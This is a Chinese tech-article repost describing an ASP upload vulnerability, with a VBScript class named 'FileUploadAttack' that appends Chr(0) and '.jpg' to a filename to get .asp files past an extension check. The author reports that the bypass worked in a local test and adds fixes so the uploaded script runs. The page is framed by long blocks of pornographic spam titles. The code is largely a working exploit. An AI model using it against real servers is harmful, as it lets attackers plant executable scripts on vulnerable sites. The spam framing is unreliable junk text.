成人性生交大片免费看视频r_亚洲综合极品香蕉久久网_在线视频免费观看一区_亚洲精品亚洲人成人网在线播放_国产精品毛片av_久久久久国产精品www_亚洲国产一区二区三区在线播_日韩一区二区三区四区区区_亚洲精品国产无套在线观_国产免费www

主頁 > 知識庫 > ASP上傳漏洞之利用CHR(0)繞過擴展名檢測腳本

ASP上傳漏洞之利用CHR(0)繞過擴展名檢測腳本

熱門標簽:創(chuàng)意電話機器人 濟源電銷外呼系統(tǒng)線路 世界地圖標注了哪些城市 java外呼系統(tǒng)是什么 外呼線路批發(fā) 梧州市地圖標注 地圖標注陽江 武穴地圖標注 石家莊慧營銷外呼系統(tǒng)

今天Demon 提到了這個問題,正好想到之前看到的一篇文章《Automatic file upload using IE+ADO without user interaction - VBSscript》 。這篇文章給出了本地無交互自動上傳腳本的示例,正好今天可以借來一用,原腳本利用了InternetExplorer.Application組件,我改寫了一下,用WinHttp.WinHttpRequest.5.1實現(xiàn)了類似的功能,關于這個組件更多的用法請參考《WinHttpRequest Object Reference》 。

復制代碼 代碼如下:

Option Explicit

Function file_get_contents(filename)
Dim fso, f
Set fso = WSH.CreateObject("Scripting.FilesystemObject")
Set f = fso.OpenTextFile(filename, 1)
file_get_contents = f.ReadAll
f.Close
Set f = Nothing
Set fso = Nothing
End Function

' 代碼修改自 http://www.motobit.com/tips/detpg_uploadvbsie/
Class FileUploadAttack
Private m_objWinHttp
Private m_strUrl
Private m_strFieldName

Private Sub Class_Initialize()
Set m_objWinHttp = WSH.CreateObject( _
"WinHttp.WinHttpRequest.5.1")
End Sub

Private Sub Class_Terminate()
Set m_objWinHttp = Nothing
End Sub

Public Sub setUrl(url)
m_strUrl = url
End Sub

Public Sub setFieldName(name)
m_strFieldName = name
End Sub

'Infrormations In form field header.
Function mpFields(FieldName, FileName, ContentType)
Dim MPTemplate 'template For multipart header
MPTemplate = "Content-Disposition: form-data; name=""{field}"";" + _
" filename=""{file}""" + vbCrLf + _
"Content-Type: {ct}" + vbCrLf + vbCrLf
Dim Out
Out = Replace(MPTemplate, "{field}", FieldName)
Out = Replace(Out, "{file}", FileName)
mpFields = Replace(Out, "{ct}", ContentType)
End Function
'Converts OLE string To multibyte string
Function StringToMB(S)
Dim I, B
For I = 1 To Len(S)
B = B ChrB(Asc(Mid(S, I, 1)))
Next
StringToMB = B
End Function

'Build multipart/form-data document with file contents And header info
Function BuildFormData(FileContents, Boundary, _
FileName, FieldName)
Dim FormData, Pre, Po
Const ContentType = "application/upload"

'The two parts around file contents In the multipart-form data.
Pre = "--" + Boundary + vbCrLf + mpFields(FieldName, _
FileName, ContentType)
Po = vbCrLf + "--" + Boundary + "--" + vbCrLf

'Build form data using recordset binary field
Const adLongVarBinary = 205
Dim RS: Set RS = WSH.CreateObject("ADODB.Recordset")
RS.Fields.Append "b", adLongVarBinary, _
Len(Pre) + LenB(FileContents) + Len(Po)
RS.Open
RS.AddNew
Dim LenData
'Convert Pre string value To a binary data
LenData = Len(Pre)
RS("b").AppendChunk (StringToMB(Pre) ChrB(0))
Pre = RS("b").GetChunk(LenData)
RS("b") = ""

'Convert Po string value To a binary data
LenData = Len(Po)
RS("b").AppendChunk (StringToMB(Po) ChrB(0))
Po = RS("b").GetChunk(LenData)
RS("b") = ""

'Join Pre + FileContents + Po binary data
RS("b").AppendChunk (Pre)
RS("b").AppendChunk (FileContents)
RS("b").AppendChunk (Po)
RS.Update
FormData = RS("b")
RS.Close
BuildFormData = FormData
End Function


Public Function sendFile(fileName)
Const Boundary = "---------------------------0123456789012"
m_objWinHttp.Open "POST", m_strUrl, False
m_objWinHttp.setRequestHeader "Content-Type", _
"multipart/form-data; boundary=" + Boundary

Dim FileContents, FormData
'Get source file As a binary data.
FileContents = file_get_contents(FileName)

' 下面構造了惡意文件擴展名Chr(0) .jpg
'Build multipart/form-data document
FormData = BuildFormData(FileContents, Boundary, _
FileName Chr(0) ".jpg", m_strFieldName)

m_objWinHttp.send FormData
sendFile = m_objWinHttp.Status
End Function

Public Function getText()
getText = m_objWinHttp.ResponseText
End Function
End Class

Function VBMain()
VBMain = 0

Dim fileUpload
Set fileUpload = New FileUploadAttack
' 需要修改下面內(nèi)容為合適內(nèi)容
' 上傳url
fileUpload.setUrl "http://localhost/upload/uploadfile.asp"
fileUpload.setFieldName "filepath" ' 上傳表單框的name
' 需上傳文件路徑
If fileUpload.sendFile("E:\projects\asp\index.asp")=200 Then
MsgBox "上傳成功" fileUpload.getText()
Else
MsgBox "失敗"
End If
Set fileUpload = Nothing
End Function

Call WScript.Quit(VBMain())

上傳功能是隨便在網(wǎng)上找的一個簡單上傳ASP文件,然后加入我在文章中《ASP/VBScript中CHR(0)的由來以及帶來的安全問題》所述的GetFileExtensionName判斷擴展名是否是jpg。

測試結果是:手動上傳asp,失??;利用上述攻擊腳本上傳asp文件,成功!在上傳目錄中確實是asp文件,通過瀏覽器URL也能訪問這個asp文件,只是奇怪的是顯示一片空白,我這里是IIS 7,難道是IIS版本問題,或許是file_get_contents應該返回文件的二進制流?好了,這個問題先擱在這兒,還有其他事,先閃了。

所有實驗代碼包,在這里upload.zip(代碼BUG參考下面更新說明)下載。

2011年12月25日更新

根據(jù)大家反饋的上傳文件變成Unicode Little Endian編碼問題,首先抱歉的是當時確實偷懶了,主要代碼參考的老外的,而且老外說明了一下GetFile這個函數(shù)獲取文件二進制數(shù)據(jù),沒找到這個函數(shù)實現(xiàn),也懶得去弄二進制讀取,直接搞了個file_get_contents獲取文本數(shù)據(jù),事實證明這樣確實存在問題,下面我把補救措施說明一下吧,還是偷懶一下,直接在現(xiàn)有的基礎上將文本數(shù)據(jù)轉換為二進制數(shù)據(jù)。使用ADODB.Stream組件,函數(shù)如下:

復制代碼 代碼如下:

' 將指定charset的字符串str轉換為二進制
Function strtobin(str, charset)
With WSH.CreateObject("ADODB.Stream")
.Type = 2
.Mode = 3
.Open
.Charset = charset
.WriteText str
.Flush
.Position = 0
.Type = 1

strtobin = .Read()
.Close
End With
End Function

然后將上述代碼的第106行改成下面這樣(以ASCII讀取文本):

復制代碼 代碼如下:

FileContents = strtobin(file_get_contents(FileName), "ASCII")

這樣改過后上傳的ASP文件就是普通編碼的文件了,然后瀏覽器訪問這個文件,可以看到該ASP被成功解析。

不過這里覺得啰嗦了一點,其實可以直接以二進制打開文件并返回數(shù)據(jù),這里進行了兩步:1.以文本方式讀取文件;2.將文本轉換為二進制數(shù)據(jù)。一步到位的代碼可以參考下面一次以二進制Byte()方式讀取文件數(shù)據(jù)的函數(shù):

復制代碼 代碼如下:

'Returns file contents As a binary data
Function GetFile(FileName)
Dim Stream: Set Stream = CreateObject("ADODB.Stream")
Stream.Type = 1 'Binary
Stream.Open
Stream.LoadFromFile FileName
GetFile = Stream.Read
Stream.Close
Set Stream = Nothing
End Function

更優(yōu)化的代碼我就不寫了,主要說明的是一個上傳思路,如果大家希望得到完善的上傳實現(xiàn),可以參考Demon的《VBS模擬POST上傳文件》 。
原文: https://www.jb51.net/article/26103.htm

您可能感興趣的文章:
  • IIS6 中"ASP 0201 錯誤 無效的默認腳本語言" 的解決方法
  • 使用ASP控制指定站點解析腳本語言函數(shù)
  • 用InstallShield打包ASP程序的腳本
  • asp分頁生成html的程序腳本代碼
  • 隱藏修改文件時間和文件屬性的ASP腳本
  • ASP.NET調(diào)用javascript腳本的常見方法小結
  • 從一個網(wǎng)站扒下的asp生成靜態(tài)頁面的代碼 腳本之家特供版
  • iis、apache與nginx禁止目錄執(zhí)行asp、php腳本的實現(xiàn)方法
  • ASP中Server.Execute和Execute實現(xiàn)動態(tài)包含(include)腳本的區(qū)別
  • ASP.NET中后臺注冊js腳本使用的方法對比
  • ASP程序中常用的腳本語言

標簽:唐山 滁州 甘南 淮北 揭陽 南寧 來賓 迪慶

巨人網(wǎng)絡通訊聲明:本文標題《ASP上傳漏洞之利用CHR(0)繞過擴展名檢測腳本》,本文關鍵詞  ASP,上傳,漏洞,之,利用,CHR,;如發(fā)現(xiàn)本文內(nèi)容存在版權問題,煩請?zhí)峁┫嚓P信息告之我們,我們將及時溝通與處理。本站內(nèi)容系統(tǒng)采集于網(wǎng)絡,涉及言論、版權與本站無關。
  • 相關文章
  • 下面列出與本文章《ASP上傳漏洞之利用CHR(0)繞過擴展名檢測腳本》相關的同類信息!
  • 本頁收集關于ASP上傳漏洞之利用CHR(0)繞過擴展名檢測腳本的相關信息資訊供網(wǎng)民參考!
  • 推薦文章
    天堂中文av在线| 岛国av在线播放| 综合激情五月婷婷| 国模私拍在线观看| 日韩不卡在线观看日韩不卡视频| 欧美videossexotv100| 精品久久国产| www.国产.com| 国产ts变态重口人妖hd| 日本va欧美va瓶| 美女黄色网址| 色一情一伦一子一伦一区| 国产91视频一区| 欧美精品大片| 天天想你在线观看完整版电影免费| 色嗨嗨av一区二区三区| 国产永久av在线| 色噜噜久久综合| av福利在线导航| 国产精品6666| 国产又粗又大又黄| 羞羞视频网站| 香蕉一区二区| 成人精品一区二区三区电影黑人| aaa人片在线| 妞干网在线视频观看| h视频在线看| 91精品国产91久久综合桃花| 欧美黄色录像片| 伊人久久亚洲美女图片| 亚洲77777| 中文字幕一区二区三区电影| 欧美性高跟鞋xxxxhd| 亚洲在线视频播放| 成人免费视频免费观看| 日本黄色免费录像| 最近中文字幕一区二区三区| 精品久久久久久久久久ntr影视| 日本一级免费视频| 欧美精品性视频| 亚洲一区二区在线观| caoporm超碰国产精品| 激情五月婷婷基地| 四季av在线一区二区三区| 好爽好深好紧好大| 国产男男chinese网站| 久久综合之合合综合久久| 小说区图片区综合久久亚洲| 扒开jk护士狂揉免费| 全部孕妇毛片免费孕妇| 亚洲成人二区| 天海翼亚洲一区二区三区| 久久亚洲免费视频| 日本免费一区二区三区视频| 熟女熟妇伦久久影院毛片一区二区| 污视频在线观看网站| 青椒成人免费视频| 欧美日中文字幕| 大桥未久恸哭の女教师| 免费日韩av电影| 精品无码av一区二区三区不卡| 91精品欧美综合在线观看最新| 精品丰满少妇一区二区三区| 日韩精品中文字幕在线一区| 欧美一级色片| 欧美日本国产精品| 性综艺节目av在线播放| 久久密一区二区三区| 播九公社成人综合网站| 亚洲国产中文字幕在线观看| 亚洲精品va| 欧美一级欧美一级在线播放| 国精产品乱码一区一区三区四区| 一区二区三区波多野结衣在线观看| 在线视频日韩欧美| 国产成人精品一区二区三区网站观看| 亚洲国产精品狼友在线观看| 99re热视频这里只精品| 亚洲欧美日韩综合在线| 在线成人av| 中文字幕+乱码+中文字幕明步| 热99re久久精品这里都是免费| 欧美成人在线影院| 国产一区二区三区精品欧美日韩一区二区三区| 日韩欧美在线观看视频| 国内精品国产成人国产三级粉色| 欧美激情xxxx性bbbb| 日韩三级成人av网| 欧美人与z0zoxxxx视频| 国产精品全国免费观看高清| 国产美女三级视频| 黄色www在线观看| 国产av人人夜夜澡人人爽麻豆| 香蕉久久夜色精品国产更新时间| 国产 xxxx| 91av免费观看91av精品在线| 国产精品久久久久免费a∨大胸| 日韩欧美一区二区在线观看| 色yeye免费人成网站在线观看| 国产精品国产国产aⅴ| 国产一级免费黄色片| 亚洲精品视频播放| 日本三级视频在线| 国产日产精品一区二区三区| 少妇高潮一区二区三区69| 日韩a视频在线观看| 91免费精品国自产拍在线不卡| 岛国片在线免费观看| 女人被男人躁得好爽免费视频| 免费的很黄很污的视频网站| 日韩av一区二区三区美女毛片| 天堂av资源网| 裸体av在线| 黄色三级生活片| 久久久人成影片一区二区三区观看| 国产福利小视频在线| 色一情一乱一伦一区二区三区日本| 久做在线视频免费观看| 波多野结衣视频在线观看| 久草香蕉在线| 伊人久久男人天堂| 久久久久久久久综合| 岛国片av在线| 一区二区国产盗摄色噜噜| 激情五月激情综合网| 免费视频91蜜桃| 欧美日韩国产观看视频| 伪装者在线观看完整版免费| 国产一级片免费| 久久不见久久见免费视频7| 精品视频高潮| 欧美.www| 欧美一级本道电影免费专区| 欧美吻胸吃奶大尺度电影| 天堂av一区二区三区在线播放| 99热在线观看| 精品福利视频导航大全| 蜜臀精品一区二区三区在线观看| 久久久久久亚洲精品| 多人欧美交性姿势| 亚洲美女在线视频| 国产麻豆午夜三级精品| 国产成人看片| 屁屁影院ccyy国产第一页| 天天性天天草| 99久久99热久久精品免费看| 五十路亲子中出中文字幕| 中文字幕天堂av| 全网免费在线播放视频入口| 中文字幕 国产精品| 丰满熟妇乱又伦| 欧美在线精品免播放器视频| 懂色av一区二区三区免费看| 一个人看的免费网站www视频| 国产无遮挡裸体免费久久| 青青草免费观看免费视频在线| 亚洲影视一区二区三区| 亚洲精品视频91| 国产精品久久久久久9999| 在线成人免费观看| 波多野结衣视频在线播放| 在线免费黄色| 美女精品一区最新中文字幕一区二区三区| 免费人成网站在线观看欧美高清| 黄色av免费播放| www.日本一区| 亚洲精品在线观看视频| 色噜噜在线观看| 国内精品久久久久久野外| 一色屋免费视频| 99久久自偷自偷国产精品不卡| 中出一区二区| 91精品国产综合久久久久久| 91精品国产沙发| 亚洲av综合色区| 女女同性女同一区二区三区91| 国产在线视频一区二区| 亚洲一区二区三区在线看| 牛牛精品一区二区| 中国xxxx视频播放50| a美女胸又www黄视频久久| 久久丝袜美腿综合| 91精品久久久久久久99蜜桃| √新版天堂资源在线资源| 黄色一级视频在线播放| 亚洲黄色一区| 色豆豆成人网| 99久久激情视频| 黑人玩欧美人三根一起进| 免费的一级黄色片| 亚洲一区在线不卡| 国产精品资源在线看| av网站免费在线观看| 日本一区视频在线观看免费| 国产午夜福利在线播放| 先锋影音网一区| 一区二区三区的久久的视频| 91av在线免费观看| 色播在线视频| www.偷拍.com| av在线天堂| 给我免费播放日韩视频| 操她视频在线观看| 国产私拍福利精品视频二区| 91久久精品日日躁夜夜躁国产| 国产伦精品一区二区三区视频青涩| 国产欧美精品一区二区三区| 999精品一区| 中文字幕福利视频| 日日噜噜噜夜夜爽爽| 国产精品国产精品国产专区不片| 51视频国产精品一区二区| 亚洲一区二区av电影| 69久久精品无码一区二区| 欧美亚州一区二区三区| 色天使久久综合网天天| 喷水视频在线观看| 黑人乱码一区二区三区av| 网站免费满18成年在线观看| 强伦女教师2:伦理在线观看| 精品一区二区在线视频| 日精品一区二区三区| 九色porny蝌蚪视频在线观看| 欧美日韩一区二区三区四区在线观看| 色婷婷综合久久久久中文字幕| 精品人妻一区二区三区日产乱码| 色8久久人人97超碰香蕉987| 日韩视频一区在线| 97青娱国产盛宴精品视频| 狠狠色狠狠色综合网| 亚洲一二三不卡| 亚洲美女精品一区| 欧美一级二级三级乱码| 欧美日韩国产影片| 中文字幕在线观看日| 成人亚洲视频在线观看| 国产精品无码一区二区桃花视频| 一区二区三区国产豹纹内裤在线| av手机免费在线观看| 亚洲综合网狠久久| 一区视频在线看| 日本在线观看一区二区三区| 欧美午夜不卡影院在线观看完整版免费| www.亚洲激情.com| 美国成人毛片| 999国产精品999久久久久久| 理论片一区二区在线| 456亚洲精品成人影院| 国产九色91回来了| 91精品国产91久久久久久最新| 九色视频网站| 久草免费在线| 免费高清在线观看免费| www.99热| a级网站在线观看| 狠狠躁夜夜躁人人爽视频| 国产一区二区视频在线看| 日本一区二区三区四区五区六区| 一区二区三区免费播放| 成 年 人 黄 色 大 片大 全| 国产夫妻在线| 国产精品免费一区二区三区四区| 日韩精品中文字幕一区二区| 色综合久久中文字幕| 亚洲欧美日韩直播| 成人网免费看| 激情综合网五月激情| 久蕉在线视频| 日本1区2区3区中文字幕| 精品久久久无码人妻字幂| 亚洲午夜电影在线| 亚洲不卡视频在线观看| 91网站免费看| 91黄色精品| 国产精品污www一区二区三区| 日本少妇激情舌吻| 精品一区二区免费看| 国产精久久久久久| 日韩小视频在线观看| 毛片网站在线看| 国产精品伦理久久久久久| 特级xxxxx欧美| 日韩av网站在线免费观看| 欧美视频裸体精品| 亚洲精品美女在线观看播放| 欧美亚洲专区| 久久本道综合色狠狠五月| 久久精品无码专区| 91超碰国产在线| 久久久久久一区二区三区四区别墅| 国外成人在线直播| 国产精品密蕾丝袜| 亚洲精品视频一区二区| 素人fc2av清纯18岁| 亚洲欧美一区二区三区在线播放| 欧美人与性动交a欧美精品| 成人免费无遮挡| 久久精品观看| 欧美亚洲一级片| 国产在线视频在线观看| 奇米色一区二区三区四区| 亚洲欧美另类在线视频| 成视频免费在线看| 一级毛片在线观| 国产美女精品视频国产| 国产精品老女人视频| 久热免费在线观看| 亚洲少妇一区二区三区| 国产精品高潮呻吟久久| 在线播放国产一区二区三区| 成人av地址| 日韩精品成人免费观看视频| av在线免费看片| 在线观看免费视频黄| 日韩精品一区二区在线视频| www.久久成人| 亚洲影视一区二区三区| 奇米影音第四色| 国模私拍国内精品国内av| 群体交乱之放荡娇妻一区二区| 欧美三级网页| 色一情一乱一伦一视频免费看| 一级爱爱免费视频| 亚洲成人av福利| 中文字幕观看视频| 在线亚洲日本| 日韩加勒比系列| 黑人一区二区三区四区五区|